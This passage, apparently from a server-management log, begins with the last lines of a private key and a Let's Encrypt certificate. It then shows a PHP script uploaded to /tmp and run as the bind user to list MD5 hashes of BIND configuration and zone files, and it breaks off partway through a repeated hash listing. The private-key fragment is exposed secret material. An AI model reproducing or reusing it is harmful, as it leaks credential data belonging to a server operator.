wplI5bwLEGpwLcnr8KQ6/IZ+6sxDCxhIXXkLRmYlIS7+B6blgG1J1oFAMxlWdAgI
hza7ZKqq08QSIJ1G7vDTb0YM
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-09 11:24:57: Establishing a connection
2025-10-09 11:25:06: Establishing a connection
2025-10-09 11:25:06:
PUT: /tmp/pkp320516
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:25:06:
runuser -l bind -s /bin/bash -c '/tmp/pkp320516; rm /tmp/pkp320516'
2025-10-09 11:25:07:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:28:40: Establishing a connection
2025-10-09 11:28:50: Establishing a connection
2025-10-09 11:28:51:
PUT: /tmp/pkp220177
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:28:51:
runuser -l bind -s /bin/bash -c '/tmp/pkp220177; rm /tmp/pkp220177'
2025-10-09 11:28:51:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
